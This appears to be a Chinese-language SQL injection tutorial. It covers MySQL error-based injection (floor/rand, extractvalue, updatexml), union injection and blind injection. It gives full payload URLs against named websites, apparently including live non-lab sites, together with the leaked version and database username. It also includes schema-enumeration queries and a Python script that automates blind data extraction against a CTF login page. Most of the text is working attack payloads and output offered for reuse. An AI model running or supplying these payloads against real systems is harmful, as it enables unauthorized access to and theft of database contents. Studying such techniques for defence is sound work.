mysql:

报错注入：

以http://www.hexie.com/main/articleDetail.php?id=757

为例子：

http://www.hexie.com/main/articleDetail.php?id=757'

报错

方法一：(1)http://www.hexie.com/main/articleDetail.php

?id=757' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

能爆出版本号：5.5.20

报错信息：MySQL Query Error:select * from knowledge where id='757' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) #':Duplicate entry '5.5.201' for key 'group_key'

(2)替换掉加红加粗的version之后，我们可以查到更多的东西

www.hexie.com/main/articleDetail.php?id=757' and (select 1 from (select count(*),concat((select User from mysql.user limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x )a) %23

查出用户名：phmisdbuser

报错信息：MySQL Query Error:select * from knowledge where id='757' and (select 1 from (select count(*),concat((select User from mysql.user limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x )a) #':Duplicate entry 'phmisdbuser1' for key 'group_key'

方法二：

(1)www.hexie.com/main/articleDetail.php?id=757' and extractvalue(1, concat(0x5c,version())) %23

能爆出版本号：5.5.20

报错信息：MySQL Query Error:select * from knowledge where id='757' and extractvalue(1, concat(0x5c,version())) #':XPATH syntax error: '\5.5.20'

(2)www.hexie.com/main/articleDetail.php?id=757' and extractvalue(1, concat(0x5c,(select User from mysql.user limit 1,1))) %23

查出用户名：phmisdbuser

报错信息：MySQL Query Error:select * from knowledge where id='757' and extractvalue(1, concat(0x5c,((select User from mysql.user limit 1,1)))) #':XPATH syntax error: '\phmisdbuser'

方法三：

(1)www.hexie.com/main/articleDetail.php?id=757' and 1=(updatexml(1,concat(0x5e24,(select version()),0x5e24),1)) %23

能爆出版本号：5.5.20

报错信息：MySQL Query Error:select * from knowledge where id='757' and 1=(updatexml(1,concat(0x5e24,(select version()),0x5e24),1)) #':XPATH syntax error: '^$5.5.20^$'

(2)www.hexie.com/main/articleDetail.php?id=757' and 1=(updatexml(1,concat(0x5e24,(select User from mysql.user limit 1,1),0x5e24),1)) %23

查出用户名：phmisdbuser

报错信息：MySQL Query Error:select * from knowledge where id='757' and 1=(updatexml(1,concat(0x5e24,(select User from mysql.user limit 1,1),0x5e24),1)) #':XPATH syntax error: '^$phmisdbuser^$'

【1】mysql常见的查询信息的语句

【2】user():当前用户信息

【3】select database() :当前数据库

【4】SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1：查询所有数据库

【5】一个一个遍历查询所有表：select table_name from information_schema.tables where table_schema='数据库名' limit 1,1

【6】一个一个遍历查询一个表的字段：select COLUMN_NAME from Information_schema.columns where table_Name = '表名' and TABLE_SCHEMA='数据库名' limit 1,1

【7】一个一个遍历数据：select 字段名 from 数据库名.表名 limit 1,1(Ps:一次只能遍历一个字段的一个数据)

【8】查询host 信息：select Host from mysql.user limit 1,1

union 注入：

举例子：http://www.hunyinshe.com/list.php?id=1

【1】首先，推测出这个表里面有多少字段：

http://www.hunyinshe.com/list.php?id=1 order by 1 – (返回正常页面)

http://www.hunyinshe.com/list.php?id=1 order by 2 –

(返回正常页面)

………………

http://www.hunyinshe.com/list.php?id=1 order by 32 –

(返回正常页面)

http://www.hunyinshe.com/list.php?id=1 order by 32–

(返回不正常页面)

这样推断出这个表里面有32个字段

【2】猜当前数据库名字：

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 --

【3】猜所有数据库：

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.SCHEMATA --

【4】猜所有的表名：

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.tables --

【5】查数据库名为：mysql的所有表名：

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.tables where table_schema= 0x6d7973716c--

(Ps:其中 0x6d7973716c是”mysql”的HEX编码)

【6】查数据库名为：xjdj的所有表名：

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from information_schema.tables where table_schema= 0x786a646a--

【7】查数据库为xjdj的cmsdj_user的字段名：

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from Information_schema.columns where table_Name = 0x636d73646a5f75736572 and TABLE_SCHEMA=0x786a646a--

【8】查数据库为xjdj的cmsdj_user的字段名cd_name的数据：

http://www.hunyinshe.com/list.php?id=1 and 1=2 union select 1,字段名,3,4,5,6,7,8,9,10,11,12,13,14,15,2,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from 数据库名.表名 limit 1,100 --

(Ps：前100条数据)

盲注：

我们以

http://ctf1.simplexue.com/basic/inject/index.php?admin=admin&pass=f&action=login

为例子

【1】爆数据库的版本：

http://ctf1.simplexue.com/basic/inject/index.php?admin=admin' and (ascii(substring(version(),1,1))>0) #&pass=f&action=login

显示用户名错误

http://ctf1.simplexue.com/basic/inject/index.php?admin=admin' and (ascii(substring(version(),1,1))<0) #&pass=f&action=login

显示数据库连接失败

我写了一个小程序来加快速度

# -*- coding: gbk -*-

import urllib2

import urllib

sqlcomm="(SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1)"

data = {

"admin":"admin' and (ascii(substring(version(),1,1))=0) #",

"pass":"f",

"action":"login"}

def getlength():

for counti in range(1000):

data["admin"]="admin' and length(%s)=%s #&pass=f&action=login" % (sqlcomm,str(counti))

urldata=urllib.urlencode(data)

url="http://ctf1.simplexue.com/basic/inject/index.php?"+urldata

headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}

req = urllib2.Request(url,headers=headers)

resul=urllib2.urlopen(req).read()

resulstr=resul.decode('gbk')

if resulstr.find(u'数据库连接失败')==-1: #查找中文

print counti

return counti

return False

def sendhttp(countn,sign,num):

data["admin"]="admin' and (ascii(substring(%s,%s,1))%s%s) #" % (sqlcomm,str(countn),sign,str(middle))

urldata=urllib.urlencode(data)

url="http://ctf1.simplexue.com/basic/inject/index.php?"+urldata

headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}

req = urllib2.Request(url,headers=headers)

resul=urllib2.urlopen(req).read()

resulstr=resul.decode('gbk')

if resulstr.find(u'数据库连接失败')==-1:

return True

return False

coutnum= getlength()

for j in range(1,coutnum+1):

min,max=0,140

while min<=max:

middle=(max+min)//2

if sendhttp(j,"=",middle):

print chr(middle),

break

if sendhttp(j,">",middle):

min=middle+1

else:

max=middle-1

大家只要把红色的sqlcomm的这个变量就行修改就可以得到想要的数据

Ps:科普一些mysql函数的用法

substring(str,start,length):截取字符串,str是要截取的字串，start 是从哪个地方截取，length是截取的长度

ascii(str):把字符转换成ascii码，str是要转换的字符

length(str):获取字符串的长度，要获取的字串

常用的东西查询语句有见文章上面：mysql常见的查询信息的语句